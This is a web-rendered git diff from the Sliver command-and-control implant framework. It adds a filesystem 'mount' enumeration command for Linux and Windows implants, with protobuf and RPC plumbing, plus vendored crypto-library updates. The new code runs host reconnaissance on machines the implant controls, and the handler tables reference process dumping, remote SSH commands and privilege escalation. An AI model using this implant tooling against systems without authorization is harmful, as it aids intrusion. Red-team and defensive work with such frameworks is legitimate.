golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k=
|
||||
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
|
||||
@@ -528,12 +528,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
|
||||
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
|
||||
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.14.0 h1:LGK9IlZ8T9jvdy6cTdfKUCltatMFOehAQo9SRC46UQ8=
|
||||
golang.org/x/term v0.14.0/go.mod h1:TySc+nGkYR6qt8km8wUhuFRTVSMIX3XPR58y2lC8vww=
|
||||
golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4=
|
||||
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
|
||||
@@ -32,6 +32,7 @@ import (
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -71,6 +72,7 @@ var (
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
@@ -124,6 +126,27 @@ func dumpHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mountHandler(data []byte, resp RPCResponse) {
|
||||
mountReq := &sliverpb.MountReq{}
|
||||
err := proto.Unmarshal(data, mountReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
mountData, err := mount.GetMountInformation()
|
||||
mountResp := &sliverpb.Mount{
|
||||
Info: mountData,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
mountResp.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(mountResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func taskHandler(data []byte, resp RPCResponse) {
|
||||
var err error
|
||||
task := &sliverpb.TaskReq{}
|
||||
|
||||
@@ -34,6 +34,7 @@ import (
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
@@ -86,6 +87,7 @@ var (
|
||||
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
|
||||
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
@@ -736,6 +738,28 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mountHandler(data []byte, resp RPCResponse) {
|
||||
mountReq := &sliverpb.MountReq{}
|
||||
|
||||
err := proto.Unmarshal(data, mountReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
mountData, err := mount.GetMountInformation()
|
||||
mountResp := &sliverpb.Mount{
|
||||
Info: mountData,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
mountResp.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(mountResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
// +linux
|
||||
|
||||
package mount
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
|
||||
mountInfo := make([]*sliverpb.MountInfo, 0)
|
||||
|
||||
file, err := os.Open("/proc/self/mountinfo")
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
fields := strings.Fields(line)
|
||||
|
||||
// Extract fields according to the /proc/self/mountinfo format
|
||||
// https://man7.org/linux/man-pages/man5/proc.5.html
|
||||
mountRoot := fields[3]
|
||||
mountPoint := fields[4]
|
||||
mountOptions := fields[5]
|
||||
mountType := fields[len(fields)-3]
|
||||
mountSource := fields[len(fields)-2]
|
||||
|
||||
// Get mount information using statfs
|
||||
var stat syscall.Statfs_t
|
||||
err := syscall.Statfs(mountPoint, &stat)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var mountData sliverpb.MountInfo
|
||||
|
||||
mountData.Label = mountRoot
|
||||
mountData.MountPoint = mountPoint
|
||||
mountData.VolumeType = mountType
|
||||
mountData.VolumeName = mountSource
|
||||
mountData.MountOptions = mountOptions
|
||||
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
|
||||
mountInfo = append(mountInfo, &mountData)
|
||||
|
||||
}
|
||||
|
||||
return mountInfo, nil
|
||||
}
|
||||
@@ -0,0 +1,287 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
package mount
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
pathLength = windows.MAX_PATH + 1
|
||||
volumePathsLength = 32769 // 32K + 1 for a null terminator
|
||||
universalNameInfoLevel = 1
|
||||
remoteNameInfoLevel = 2
|
||||
remoteNameMaxLength = 1024
|
||||
)
|
||||
|
||||
type UniversalNameInfo struct {
|
||||
UniversalName [remoteNameMaxLength]uint16
|
||||
}
|
||||
|
||||
var driveTypeMap = map[uint32]string{
|
||||
0: "Unknown",
|
||||
1: "Root Path invalid (no volume mounted for path)",
|
||||
2: "Removable",
|
||||
3: "Fixed disk",
|
||||
4: "Remote / network drive",
|
||||
5: "CD-ROM",
|
||||
6: "RAM disk",
|
||||
}
|
||||
|
||||
func findAllVolumes() ([]string, error) {
|
||||
var volumes []string
|
||||
|
||||
volumeGuid := make([]uint16, pathLength)
|
||||
handle, err := windows.FindFirstVolume(&volumeGuid[0], pathLength)
|
||||
defer windows.FindVolumeClose(handle)
|
||||
if err != nil {
|
||||
return volumes, err
|
||||
}
|
||||
|
||||
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
|
||||
|
||||
// Keep gathering volumes until we cannot find anymore
|
||||
for {
|
||||
err = windows.FindNextVolume(handle, &volumeGuid[0], pathLength)
|
||||
if err != nil {
|
||||
if err == windows.ERROR_NO_MORE_FILES {
|
||||
// Then we are done
|
||||
break
|
||||
} else {
|
||||
return volumes, err
|
||||
}
|
||||
}
|
||||
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
|
||||
}
|
||||
|
||||
return volumes, nil
|
||||
}
|
||||
|
||||
func findMountPointsForVolume(volumeName string) ([]string, error) {
|
||||
const nullByte uint16 = 0
|
||||
var volumeMounts []string
|
||||
|
||||
mountsForVolume := make([]uint16, volumePathsLength)
|
||||
var returnedInformationLength uint32 = 0
|
||||
volNameUint, err := windows.UTF16PtrFromString(volumeName)
|
||||
if err != nil {
|
||||
return volumeMounts, err
|
||||
}
|
||||
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
|
||||
if err != nil {
|
||||
if err == windows.ERROR_MORE_DATA {
|
||||
// Then we need to make the buffer bigger and try again
|
||||
// We will try one more time
|
||||
mountsForVolume := make([]uint16, returnedInformationLength)
|
||||
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
|
||||
if err != nil {
|
||||
return volumeMounts, err
|
||||
}
|
||||
} else {
|
||||
return volumeMounts, err
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Because the buffer contains multiple strings separated by a null terminator, we will read the
|
||||
buffer in chunks and separate the strings
|
||||
*/
|
||||
volumeMounts = splitStringBuffer(mountsForVolume)
|
||||
|
||||
return volumeMounts, nil
|
||||
}
|
||||
|
||||
func splitStringBuffer(buffer []uint16) []string {
|
||||
bufferString := string(utf16.Decode(buffer))
|
||||
return strings.Split(strings.TrimRight(bufferString, "\x00"), "\x00")
|
||||
}
|
||||
|
||||
func getAllDrives() ([]string, error) {
|
||||
var logicalDrives []string
|
||||
|
||||
// Get necessary buffer size
|
||||
n, err := windows.GetLogicalDriveStrings(0, nil)
|
||||
driveStrings := make([]uint16, n)
|
||||
_, err = windows.GetLogicalDriveStrings(n, &driveStrings[0])
|
||||
if err != nil {
|
||||
return logicalDrives, err
|
||||
}
|
||||
|
||||
logicalDrives = splitStringBuffer(driveStrings)
|
||||
|
||||
return logicalDrives, nil
|
||||
}
|
||||
|
||||
func getDriveType(driveSpec string) string {
|
||||
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
driveTypeValue := windows.GetDriveType(driveUTF16)
|
||||
|
||||
if driveType, ok := driveTypeMap[driveTypeValue]; ok {
|
||||
return driveType
|
||||
} else {
|
||||
return driveTypeMap[0]
|
||||
}
|
||||
}
|
||||
|
||||
func getUniversalName(driveSpec string) (string, error) {
|
||||
mpr := windows.NewLazyDLL("mpr.dll")
|
||||
wNetGetUniversalNameWProc := mpr.NewProc("WNetGetUniversalNameW")
|
||||
|
||||
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var universalNameBuffer UniversalNameInfo
|
||||
var bufferSize = uint32(unsafe.Sizeof(universalNameBuffer))
|
||||
|
||||
returnCode, _, err := wNetGetUniversalNameWProc.Call(
|
||||
uintptr(unsafe.Pointer(driveUTF16)),
|
||||
uintptr(universalNameInfoLevel),
|
||||
uintptr(unsafe.Pointer(&universalNameBuffer)),
|
||||
uintptr(unsafe.Pointer(&bufferSize)),
|
||||
)
|
||||
|
||||
if returnCode != 0 {
|
||||
// Then there was an error
|
||||
return "", fmt.Errorf("%v", windows.Errno(returnCode).Error())
|
||||
}
|
||||
|
||||
bufferStrings := splitStringBuffer(universalNameBuffer.UniversalName[:])
|
||||
// There is some junk returned at the beginning of the structure. The actual UNC path starts after the first null terminator.
|
||||
if len(bufferStrings) > 1 {
|
||||
return bufferStrings[1], nil
|
||||
} else {
|
||||
return "", errors.New("No valid data returned")
|
||||
}
|
||||
}
|
||||
|
||||
func getDiskStats(driveSpec string) (uint64, uint64, uint64, error) {
|
||||
var freeSpace uint64 = 0
|
||||
var usedSpace uint64 = 0
|
||||
var totalSpace uint64 = 0
|
||||
|
||||
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
|
||||
if err != nil {
|
||||
return freeSpace, usedSpace, totalSpace, err
|
||||
}
|
||||
|
||||
err = windows.GetDiskFreeSpaceEx(driveUTF16, nil, &totalSpace, &freeSpace)
|
||||
if err != nil {
|
||||
return freeSpace, usedSpace, totalSpace, err
|
||||
}
|
||||
|
||||
usedSpace = totalSpace - freeSpace
|
||||
|
||||
return freeSpace, usedSpace, totalSpace, nil
|
||||
}
|
||||
|
||||
func getDriveInfo(driveSpec string) (string, string) {
|
||||
// Get label and filesystem type
|
||||
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
|
||||
if err != nil {
|
||||
return "", ""
|
||||
}
|
||||
|
||||
volumeNameBuffer := make([]uint16, pathLength)
|
||||
fileSystemNameBuffer := make([]uint16, pathLength)
|
||||
|
||||
err = windows.GetVolumeInformation(driveUTF16, &volumeNameBuffer[0], pathLength, nil, nil, nil, &fileSystemNameBuffer[0], pathLength)
|
||||
if err != nil {
|
||||
return "", ""
|
||||
}
|
||||
|
||||
return windows.UTF16ToString(volumeNameBuffer), windows.UTF16ToString(fileSystemNameBuffer)
|
||||
}
|
||||
|
||||
func constructDriveVolumeMap() (map[string]string, error) {
|
||||
driveVolumeMap := make(map[string]string)
|
||||
|
||||
volumes, err := findAllVolumes()
|
||||
if err != nil {
|
||||
return driveVolumeMap, err
|
||||
}
|
||||
|
||||
for _, volume := range volumes {
|
||||
mountPoints, err := findMountPointsForVolume(volume)
|
||||
if err != nil {
|
||||
return driveVolumeMap, err
|
||||
}
|
||||
for _, mountPoint := range mountPoints {
|
||||
driveVolumeMap[mountPoint] = volume
|
||||
}
|
||||
}
|
||||
return driveVolumeMap, nil
|
||||
}
|
||||
|
||||
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
|
||||
mountInfo := make([]*sliverpb.MountInfo, 0)
|
||||
|
||||
logicalDrives, err := getAllDrives()
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
|
||||
driveVolumeMap, err := constructDriveVolumeMap()
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
|
||||
for _, drive := range logicalDrives {
|
||||
var mountData sliverpb.MountInfo
|
||||
mountData.MountPoint = drive
|
||||
mountData.VolumeType = getDriveType(drive)
|
||||
if mountData.VolumeType == driveTypeMap[4] {
|
||||
// Then this is a network drive, so let's figure out the UNC path
|
||||
networkPath, err := getUniversalName(drive)
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
mountData.VolumeName = networkPath
|
||||
} else {
|
||||
mountData.VolumeName = driveVolumeMap[drive]
|
||||
}
|
||||
|
||||
mountData.Label, mountData.FileSystem = getDriveInfo(drive)
|
||||
free, used, total, err := getDiskStats(drive)
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
mountData.UsedSpace = used
|
||||
mountData.FreeSpace = free
|
||||
mountData.TotalSpace = total
|
||||
mountInfo = append(mountInfo, &mountData)
|
||||
}
|
||||
|
||||
return mountInfo, nil
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.31.0
|
||||
// protoc v4.25.0
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -5681,8 +5681,7 @@ func (x *MsfStager) GetFile() *commonpb.File {
|
||||
}
|
||||
|
||||
// GetSystemReq - Client request to the server which is translated into
|
||||
//
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
type GetSystemReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -5755,8 +5754,7 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request {
|
||||
}
|
||||
|
||||
// MigrateReq - Client request to the server which is translated into
|
||||
//
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
type MigrateReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.31.0
|
||||
// protoc v4.25.0
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -131,9 +131,8 @@ func (x *Request) GetSessionID() string {
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
//
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
type Response struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.31.0
|
||||
// protoc v4.25.0
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -87,10 +87,12 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
// NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
// depending on the DNSMessageType as noted below:
|
||||
//
|
||||
// [Type TOTP]: ID field is used for the TOTP code
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
+659
-653
File diff suppressed because it is too large.
Load diff
@@ -176,6 +176,7 @@ service SliverRPC {
|
||||
rpc MemfilesList(sliverpb.MemfilesListReq) returns (sliverpb.Ls);
|
||||
rpc MemfilesAdd(sliverpb.MemfilesAddReq) returns (sliverpb.MemfilesAdd);
|
||||
rpc MemfilesRm(sliverpb.MemfilesRmReq) returns (sliverpb.MemfilesRm);
|
||||
rpc Mount(sliverpb.MountReq) returns (sliverpb.Mount);
|
||||
rpc ProcessDump(sliverpb.ProcessDumpReq) returns (sliverpb.ProcessDump);
|
||||
rpc RunAs(sliverpb.RunAsReq) returns (sliverpb.RunAs);
|
||||
rpc Impersonate(sliverpb.ImpersonateReq) returns (sliverpb.Impersonate);
|
||||
|
||||
+382
-524
File diff suppressed because it is too large.
Load diff
@@ -342,6 +342,9 @@ const (
|
||||
|
||||
// MsgGrepReq - Request to grep for data
|
||||
MsgGrepReq
|
||||
|
||||
// MsgMountReq - Request filesystem mounts
|
||||
MsgMountReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -588,8 +591,12 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *GrepReq:
|
||||
return MsgGrepReq
|
||||
|
||||
case *MountReq:
|
||||
return MsgMountReq
|
||||
|
||||
case *MemfilesListReq:
|
||||
return MsgMemfilesListReq
|
||||
|
||||
case *MemfilesAddReq:
|
||||
return MsgMemfilesAddReq
|
||||
case *MemfilesAdd:
|
||||
|
||||
+2118
-1838
File diff suppressed because it is too large.
Load diff
@@ -327,6 +327,28 @@ message Grep {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MountReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message MountInfo {
|
||||
string VolumeName = 1;
|
||||
string VolumeType = 2;
|
||||
string MountPoint = 3;
|
||||
string Label = 4;
|
||||
string FileSystem = 5;
|
||||
uint64 UsedSpace = 6;
|
||||
uint64 FreeSpace = 7;
|
||||
uint64 TotalSpace = 8;
|
||||
string MountOptions = 9;
|
||||
}
|
||||
|
||||
message Mount {
|
||||
repeated MountInfo Info = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ProcessDumpReq {
|
||||
int32 Pid = 1;
|
||||
int32 Timeout = 2;
|
||||
@@ -340,6 +362,7 @@ message ProcessDump {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
|
||||
message RunAsReq {
|
||||
string Username = 1;
|
||||
string ProcessName = 2;
|
||||
|
||||
@@ -107,6 +107,7 @@ func (i *IOC) ToProtobuf() *clientpb.IOC {
|
||||
return &clientpb.IOC{
|
||||
Path: i.Path,
|
||||
FileHash: i.FileHash,
|
||||
ID: i.ID.String(),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -239,3 +239,13 @@ func (rpc *Server) Grep(ctx context.Context, req *sliverpb.GrepReq) (*sliverpb.G
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Mount - Get information on mounted filesystems
|
||||
func (rpc *Server) Mount(ctx context.Context, req *sliverpb.MountReq) (*sliverpb.Mount, error) {
|
||||
resp := &sliverpb.Mount{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
+6
-6
@@ -199,8 +199,8 @@ TEXT ·mixBlocksSSE2(SB), 4, $0-32
|
||||
MOVQ out+0(FP), DX
|
||||
MOVQ a+8(FP), AX
|
||||
MOVQ b+16(FP), BX
|
||||
MOVQ a+24(FP), CX
|
||||
MOVQ $128, BP
|
||||
MOVQ c+24(FP), CX
|
||||
MOVQ $128, DI
|
||||
|
||||
loop:
|
||||
MOVOU 0(AX), X0
|
||||
@@ -213,7 +213,7 @@ loop:
|
||||
ADDQ $16, BX
|
||||
ADDQ $16, CX
|
||||
ADDQ $16, DX
|
||||
SUBQ $2, BP
|
||||
SUBQ $2, DI
|
||||
JA loop
|
||||
RET
|
||||
|
||||
@@ -222,8 +222,8 @@ TEXT ·xorBlocksSSE2(SB), 4, $0-32
|
||||
MOVQ out+0(FP), DX
|
||||
MOVQ a+8(FP), AX
|
||||
MOVQ b+16(FP), BX
|
||||
MOVQ a+24(FP), CX
|
||||
MOVQ $128, BP
|
||||
MOVQ c+24(FP), CX
|
||||
MOVQ $128, DI
|
||||
|
||||
loop:
|
||||
MOVOU 0(AX), X0
|
||||
@@ -238,6 +238,6 @@ loop:
|
||||
ADDQ $16, BX
|
||||
ADDQ $16, CX
|
||||
ADDQ $16, DX
|
||||
SUBQ $2, BP
|
||||
SUBQ $2, DI
|
||||
JA loop
|
||||
RET
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build go1.7 && amd64 && gc && !purego
|
||||
//go:build amd64 && gc && !purego
|
||||
|
||||
package blake2b
|
||||
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build go1.7 && amd64 && gc && !purego
|
||||
//go:build amd64 && gc && !purego
|
||||
|
||||
#include "textflag.h"
|
||||
|
||||
|
||||
-24
@@ -1,24 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build !go1.7 && amd64 && gc && !purego
|
||||
|
||||
package blake2b
|
||||
|
||||
import "golang.org/x/sys/cpu"
|
||||
|
||||
func init() {
|
||||
useSSE4 = cpu.X86.HasSSE41
|
||||
}
|
||||
|
||||
//go:noescape
|
||||
func hashBlocksSSE4(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
|
||||
|
||||
func hashBlocks(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) {
|
||||
if useSSE4 {
|
||||
hashBlocksSSE4(h, c, flag, blocks)
|
||||
} else {
|
||||
hashBlocksGeneric(h, c, flag, blocks)
|
||||
}
|
||||
}
|
||||
-2
@@ -2,8 +2,6 @@
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build go1.9
|
||||
|
||||
package blake2b
|
||||
|
||||
import (
|
||||
|
||||
Loaded 100 of 136 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user